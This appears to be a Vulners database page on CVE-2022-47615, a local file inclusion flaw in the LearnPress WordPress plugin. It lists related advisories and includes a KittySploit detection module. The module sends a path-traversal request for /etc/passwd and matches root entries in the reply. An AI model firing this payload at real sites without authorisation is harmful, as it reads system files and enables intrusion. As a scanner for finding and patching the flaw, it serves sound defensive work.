LearnPress Plugin < 4.2.0 - Local File Inclusion Detection
| Reporter | Title | Published | Views | Family All 20 |
|---|---|---|---|---|
| Exploit for Unrestricted Upload of File with Dangerous Type in Thimpress Learnpress | 18 Aug 202315:04 | – | githubexploit | |
| The vulnerability of the list_courses() function in the LearnPress plugin of the WordPress content management system allows a hacker to gain unauthorized access to protected information. | 9 Nov 202300:00 | – | bdu_fstec | |
| CVE-2022-47615 | 28 Apr 202600:00 | – | circl | |
| WordPress plugin LMS LearnPress 代码问题漏洞 | 26 Jan 202300:00 | – | cnnvd | |
| CVE-2022-47615 | 24 Jan 202309:05 | – | cve | |
| CVE-2022-47615 WordPress LearnPress Plugin <= 4.1.7.3.2 is vulnerable to Local File Inclusion | 24 Jan 202309:05 | – | cvelist | |
| CVE-2022-47615 | 12 Oct 202602:46 | – | kitploit | |
| Update your LearnPress plugins now! | 30 Jan 202312:15 | – | malwarebytes | |
| LearnPress Plugin < 4.2.0 - Local File Inclusion | 14 Oct 202602:05 | – | nuclei | |
| CVE-2022-47615 | 26 Jan 202321:18 | – | nvd |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Local File Inclusion vulnerability in LearnPress – WordPress LMS Plugin <= 4."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'LearnPress Plugin < 4.2.0 - Local File Inclusion Detection',
'description': 'Local File Inclusion vulnerability in LearnPress – WordPress LMS Plugin <= 4.1.7.3.2 versions.',
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': ['web', 'scanner', 'cve', 'cve2022', 'wp-plugin', 'wp', 'wordpress', 'learnpress', 'lfi', 'thimpress', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://github.com/RandomRobbieBF/CVE-2022-47615/tree/main',
'https://nvd.nist.gov/vuln/detail/CVE-2022-47615',
'https://patchstack.com/database/vulnerability/learnpress/wordpress-learnpress-plugin-4-1-7-3-2-local-file-inclusion?_s_id=cve',
'https://github.com/RandomRobbieBF/CVE-2022-47615',
],
'cve': 'CVE-2022-47615',
}
def run(self):
path = '/wp-json/lp/v1/courses/archive-course?template_path=..%2F..%2F..%2Fetc%2Fpasswd&return_type=html'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_all = ('"status":', '"pagination":',)
header_any = ('application/json',)
body_regexes = ('root:.*:0:0:',)
if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)) and (any(re.search(rx, body) for rx in body_regexes)):
self.set_info(severity='critical', reason='LearnPress Plugin < 4.2.0 - Local File Inclusion detected', path=path)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jul 2026 11:27Current
8.5High risk
Vulners AI Score8.5
CVSS 3.19.3 - 9.8
EPSS0.05063
SSVC